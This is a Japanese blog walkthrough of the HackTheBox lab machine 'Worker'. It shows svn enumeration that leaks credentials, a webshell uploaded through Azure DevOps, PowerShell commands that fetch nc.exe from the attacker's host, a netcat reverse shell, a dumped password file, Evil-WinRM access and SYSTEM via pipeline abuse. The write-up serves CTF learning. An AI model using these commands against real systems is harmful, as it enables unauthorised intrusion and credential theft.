LoginSignup
0
0

More than 3 years have passed since last update.

【HackTheBox】Worker - Walkthrough -

Last updated at Posted at 2021-01-31

本稿では、Hack The Boxにて提供されている Retired Machines の「Worker」に関する攻略方法(Walkthrough)について検証します。

Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。

マシンの詳細

Worker.jpeg

エグゼクティブサマリー

戦術(Tactic)

ツール

  • nmap
  • svn
  • Azure DevOps
  • WebShell: cmdasp.aspx
  • winPEASx64.exe
  • Evil-WinRM

詳細手順

ネットワークサービススキャン

nmap

IPアドレス 10.10.10.203worker.htbとして、/etc/hostsに追加します。その上で、nmapを使用し、ポートスキャンを実行します。

kali@kali:~$ nmap -Pn -T4 -A -v worker.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-18 22:24 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating Connect Scan at 22:24
Scanning worker.htb (10.10.10.203) [1000 ports]
Discovered open port 80/tcp on 10.10.10.203
Discovered open port 3690/tcp on 10.10.10.203
Completed Connect Scan at 22:24, 15.07s elapsed (1000 total ports)
Initiating Service scan at 22:24
Scanning 2 services on worker.htb (10.10.10.203)
Completed Service scan at 22:24, 6.41s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.203.
Initiating NSE at 22:24
Completed NSE at 22:24, 3.79s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.82s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.21s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open  svnserve Subversion
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

NSE: Script Post-scanning.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.88 seconds

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

ポート番号 サービス バージョン
80/tcp http Microsoft IIS httpd 10.0
3690/tcp svnserve Subversion

HTTPサービスのスキャン

Firefoxブラウザを使って、worker.htb80/tcpにアクセスしてみます。初期設定のInternet Information Services(IIS)ウェブページが表示されます。

iis.png

svnserveのスキャン

svnコマンドを使って、worker.htb3690/tcpにアクセスしてみます。

kali@kali:~$ svn list svn://worker.htb
dimension.worker.htb/
moved.txt

moved.txtファイルをダウンロードし、その内容を確認します。

kali@kali:~$ svn export svn://worker.htb/moved.txt
A    moved.txt
Export complete.
kali@kali:~$ cat moved.txt 
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb

// The Worker team :)

svn.png

新たなホスト名devops.worker.htb/etc/hostsファイルに追加しておきます。

kali@kali:~$ cat /etc/hosts | grep 203
10.10.10.203    worker.htb devops.worker.htb

Firefoxブラウザを使って、devops.worker.htb80/tcpにアクセスしてみます。認証画面が表示されます。この先に進むための情報はまだ得られていません。

web_credential.png

svnコマンドを使って、探索を進めます。infoオプションにて一覧表示させた結果、nathenというユーザー名を得ることができました。

kali@kali:~$ svn info svn://worker.htb
Path: .
URL: svn://worker.htb
Relative URL: ^/
Repository Root: svn://worker.htb
Repository UUID: 2fc74c5a-bc59-0744-a2cd-8b7d1d07c9a1
Revision: 5
Node Kind: directory
Last Changed Author: nathen
Last Changed Rev: 5
Last Changed Date: 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020)

svnコマンドのlogオプションを表示させます。

kali@kali:~$ svn log svn://worker.htb
------------------------------------------------------------------------
r5 | nathen | 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020) | 1 line

Added note that repo has been migrated
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 09:50:20 -0400 (Sat, 20 Jun 2020) | 1 line

Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 09:46:19 -0400 (Sat, 20 Jun 2020) | 1 line

-
------------------------------------------------------------------------
r2 | nathen | 2020-06-20 09:45:16 -0400 (Sat, 20 Jun 2020) | 1 line

Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 09:43:43 -0400 (Sat, 20 Jun 2020) | 1 line

First version
------------------------------------------------------------------------

worker.htbのリポジトリからディレクトリツリーをダウンロードします。

kali@kali:~$ svn export -r 2 svn://worker.htb --force

export.png

アクセス権の取得

ダウンロードしたdeploy.ps1の内容を確認します。

kali@kali:~$ cat deploy.ps1 
$user = "nathen" 
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")

ユーザー名とパスワードを得ることができました(ログイン後にUser profileからDisplay Nameも確認できます)。

ユーザー名 パスワード Display Name
nathen wendel98 Nathalie Henley

Firefoxブラウザを使って、devops.worker.htb80/tcpにアクセスしてみます。認証情報としてnathen/wendel98を使用します。
ログインに成功しました。

devops.png

SmartHotel360プロジェクトの内容について確認します。
spectral_project.png

新たにspectralというホスト名の存在が確認できます。/etc/hostsファイルに追加しておきます。

kali@kali:~$ cat /etc/hosts | grep 203
10.10.10.203    worker.htb devops.worker.htb spectral.worker.htb

webshellのアップロード

kali上には、ASPX形式のwebshellが予め用意されています。

kali@kali:~$ locate cmdasp
/usr/share/webshells/asp/cmdasp.asp
/usr/share/webshells/aspx/cmdasp.aspx

Azure DevOps Repos

Reposを使ってファイル登録を行う手順は次のとおりです。

  1. 作業用のbranchをきる
  2. Commitしてプッシュする
  3. Pull Requestをかけてマージする

Azure DevOps Reposを使ってcmdasp.aspxをアップロードします。
Repo.png

+New branchをクリックします。ブランチ名、ブランチの元を選択してCreate branchをクリックします。
今回はブランチ名をwebshell、ブランチの元をmaster、Work Itemの指定はProduct Backlog Item 12としました。
branch.png

Upload file(s)をクリックし、cmdasp.aspxファイルをCommitします。
commit.png

pull requestが作成されました。
pull request.png

webshellブランチの内容をmasterブランチにマージします。
Pull requestsを選択し、New pull requestボタンをクリックします。
New pull request.png

New Pull Requestにて[webshell] into [master]が指定されていることを確認し、Createボタンをクリックします。
create.png

Approveボタンをクリックし、Completeボタンをクリックします。
Approve.png

Complete mergeボタンをクリックします。以上でmasterブランチへのマージは完了です。cmdasp.aspxファイルがアップロードされました。
Complete.png

ユーザーシェルの取得

webシェルによるリバースシェルの設置

Firefoxにてcmdasp.aspxを実行します。

http://spectral.worker.htb/cmdasp.aspx

cmdasp.png

cmdasp.aspxにてリバースシェルを設置するためのコマンドを実行します。
worker.htbC:¥Tempフォルダを作成します。

mkdir C:\temp

powershellを使い、worker.htbnc.exeをダウンロードします。コマンド構文は次のとおりです。
なお、Kali上で予めWebサーバー(python -m SimpleHTTPServer 8081)を立ち上げておく必要があります。

powershell -command Invoke-WebRequest -Uri http://10.10.14.13:8081/nc.exe -Outfile C:\\temp\\nc.exe

nc_download.png

NetCatによるリバースシェルの接続

ポート 1234にてリバースシェルを待ち受けます。

kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...

cmdasp.aspxにてリバースシェルを起動します。コマンド構文は次のとおりです。

C:\temp\nc.exe -e powershell.exe 10.10.14.13 1234
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...

connect to [10.10.14.13] from (UNKNOWN) [10.10.10.203] 50394
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv> 

システム探索

PS C:\windows\system32\inetsrv> cd c:\temp
cd c:\temp
PS C:\temp> powershell -command Invoke-WebRequest -Uri http://10.10.14.13:8081/winPEASx64.exe -Outfile C:\\temp\\winPEASx64.exe
powershell -command Invoke-WebRequest -Uri http://10.10.14.13:8081/winPEASx64.exe -Outfile C:\\temp\\winPEASx64.exe
PS C:\temp> ./winPEASx64.exe
  [+] Network Shares
    ADMIN$ (Path: C:\Windows)
    C$ (Path: C:\)
    IPC$ (Path: )
    W$ (Path: W:\)
PS C:\temp> cd w:\
cd w:\
PS W:\> dir
dir


    Directory: W:\


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       2020-06-16     18:59                agents                                                                
d-----       2020-03-28     14:57                AzureDevOpsData                                                       
d-----       2020-04-03     11:31                sites                                                                 
d-----       2020-06-20     16:04                svnrepos
PS W:\> cd sites
cd sites
PS W:\sites> dir
dir


    Directory: W:\sites


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       2020-07-20     23:43                alpha.worker.htb                                                      
d-----       2020-07-20     23:43                cartoon.worker.htb                                                    
d-----       2020-04-03     12:27                dimension.worker.htb                                                  
d-----       2020-07-20     23:43                lens.worker.htb                                                       
d-----       2020-07-20     23:43                solid-state.worker.htb                                                
d-----       2020-08-21     18:14                spectral.worker.htb                                                   
d-----       2020-07-20     23:43                story.worker.htb                                                      
d-----       2020-07-20     23:43                twenty.worker.htb
PS W:\svnrepos\www\conf> type passwd
type passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.

[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday
PS W:\svnrepos\www\conf>

WinRM

nmapコマンドにて、WinRMサービス(5985/tcp)の状況を確認します。結果、サービスが稼働していることが確認できます。

kali@kali:~$ nmap -p 5985 worker.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-19 04:25 EDT
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.20s latency).

PORT     STATE SERVICE
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds

そこで、Evil-WinRMツールを介して、worker.htbサーバーで稼働しているWinRMサービスに接続し、インタラクティブなPowerShellを確立します。
確立したシェルにてuser.txtファイルを取得します。

ユーザー名 パスワード
robisl wolves11
kali@kali:~/evil-winrm$ ./evil-winrm.rb -i 10.10.10.203 -u robisl -p wolves11

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\robisl\Documents> hostname; whoami
Worker
worker\robisl
*Evil-WinRM* PS C:\Users\robisl\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\robisl\Desktop> dir


    Directory: C:\Users\robisl\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        8/18/2020   4:23 PM             34 user.txt

![PartsUnlimited.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/363c79e2-b9d6-6fc0-b0d9-fd602faf1c81.png)


*Evil-WinRM* PS C:\Users\robisl\Desktop> type user.txt
b2a1e328399ff4dba46a9661c7311f08

evilwinrm.png

Azure DevOps

robisl/wolves11アカウントにて、devops.worker.htbへ接続します。

devops_ekenas.png

PipelinesBuildsを選択し、New pipelineボタンをクリックします。
pipeline.png

Azure Repos gitを選択します。
Azure Repos Git.png

PartsUnlimitedを選択します。
PartsUnlimited.png

Starter pipeline
Starter pipeline.png

azure-pipelines.ymlコードにおいて、echo Hello, world!whoamiに書き換えます。さらにpool: 'Default'の記述を削除します。
whoami.png

コードの編集を終えたら、Save and runボタンをクリックします。このとき、Create a new branch for this commit and start a pull request.を選択します。
save and run.png

実行結果がsucceededになっていることを確認します。
Job.png

Run a one-line scriptView detailed logsを確認します。whoamiコマンドの結果、nt authority\system権限にて動作していることが確認できました。
one-line script.png

type C:\Users\Administrator\Desktop\root.txt

root.png

参考資料

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0